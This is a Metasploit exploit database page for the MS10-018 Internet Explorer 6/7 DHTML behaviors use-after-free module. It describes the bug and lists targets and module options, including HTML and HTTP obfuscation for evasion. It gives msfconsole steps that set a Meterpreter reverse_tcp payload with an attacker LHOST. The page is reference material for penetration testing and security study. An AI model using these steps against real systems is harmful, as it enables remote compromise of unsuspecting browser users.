Internet Explorer DHTML Behaviors Use After Free | Metasploit Exploit Database (DB)

Internet Explorer DHTML Behaviors Use After Free

This module exploits a use-after-free vulnerability within the DHTML behaviors functionality of Microsoft Internet Explorer versions 6 and 7. This bug was discovered being used in-the-wild and was previously known as the "iepeers" vulnerability. The name comes from Microsoft's suggested workaround to block access to the iepeers.dll file. According to Nico Waisman, "The bug itself is when trying to persist an object using the setAttribute, which end up calling VariantChangeTypeEx with both the source and the destination being the same variant. So if you send as a variant an IDISPATCH the algorithm will try to do a VariantClear of the destination before using it. This will end up on a call to PlainRelease which deref the reference and clean the object." NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.

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Exploit Rank

  • Good

Exploit Authors

  • unknown < >
  • Trancer < mtrancer [at] gmail.com >
  • Nanika < >
  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - (Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista (default)
  • 1 - IE 6 SP0-SP2 (onclick)
  • 2 - IE 7.0 (marquee)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/ms10_018_ie_behaviors
msf exploit(ms10_018_ie_behaviors) > show payloads
msf exploit(ms10_018_ie_behaviors) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_018_ie_behaviors) > set LHOST [MY IP ADDRESS]
msf exploit(ms10_018_ie_behaviors) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 8080)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH The URI to use for this exploit (default is random)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)